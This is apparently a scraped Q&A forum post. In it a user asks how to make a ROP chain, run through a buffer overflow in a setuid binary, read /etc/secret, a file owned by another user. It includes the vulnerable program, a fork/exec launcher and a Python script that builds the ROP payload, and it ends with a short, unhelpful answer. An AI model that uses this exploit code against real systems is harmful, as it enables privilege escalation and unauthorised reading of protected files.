当子进程使用setuid位设置执行execve时，fork（）中的文件描述符

Question

Have this program, it opens a File Descriptor to /etc/secret which is owned by userA and set to only be read by userA.

-r-------- 1 userA userA secret

The program forks a child via execve which is a binary with setuid bit set to userA

-r-sr-x--- 1 userA userB prog

prog has a buffer overflow. Stack is nonexecutable. I managed to write a ROP chain that calls read(). For read I need a descriptor parameter, I would like it to be the descriptor of /etc/secret.

Is it possible to modify it that /etc/secret descriptor is opened? Since now I get permission denied, which make sense, since I am calling it as userB. Child runs a program that has setuid bit set (userA), so maybe there is a way to call the open within a child execution stage? Any ideas?

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

int main(void)
{
    pid_t pid;
    int fd;
    int fd1;

    fd1 = open("/etc/secret",O_RDONLY); //file I want to read
    if (fd1 < 0) {
        perror("open");
        return EXIT_FAILURE;
    }
    printf("FD:%d\n",fd1);




    fd = open("in.txt", O_RDONLY); //ROP Chain,Payload that makes read()
    if (fd < 0) {                  //I pass the file descriptor as a parameter
                                   //Normally a integer 3
        perror("open");
        return EXIT_FAILURE;
    }

    if ((pid = fork()) < 0) {
        perror("fork");
        return EXIT_FAILURE;
    } else if (! pid) { /* child */
        dup2(fd, STDIN_FILENO);
        close(fd);



        execlp("/opt/prog", "prog", (char *)0);
        perror("exec");

        return EXIT_FAILURE;
    } else { /* parent */
        printf("Parent waiting\n");

    }

    return EXIT_SUCCESS;
}

Update 1:

prog source code:

#include <stdio.h>
void main(){
    int buf[8];
    read(0, buf, 256);
}

Update 2:

Rop chain

#!/usr/bin/env python
import struct

payload  = "A" * 24
payload += struct.pack("<Q", 0x00000000004005b6)



payload += "A" * 8
payload += struct.pack("<Q", 0x0)        
payload += struct.pack("<Q", 0x1)        
payload += struct.pack("<Q", 0x00000000006006c8) 
payload += struct.pack("<Q", 0x3)                 # Value for RDI register
payload += struct.pack("<Q", 0x0000000000600009)  # Value for RSI register
payload += struct.pack("<Q", 0x8)                 # Value for RDX register
payload += struct.pack("<Q", 0x00000000004005a0)


payload += "E"*56
payload += struct.pack("<Q", 0x00000000004003e0)
f = open("in.txt", "w")
f.write(payload)

Update 3

Made this test program. /etc/secret is owned by userA and set to read only by userA, I run the program as userB:

test.c

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>

int main(void)
{
    pid_t pid;
    int fd;
    int fd1;

    fd1 = open("/etc/secret",O_RDONLY); //file I want to read
    if (fd1 < 0) {
        perror("open");
        return EXIT_FAILURE;
    }
    printf("FD:%d\n",fd1);
}

Output is:

./test open: Permission denied

So I guess there is no way around it, open() checks permissions on file before returning descriptor?

Answer 1

Well you need to close the pipe from the parent, don't you. And why not open the file in child process.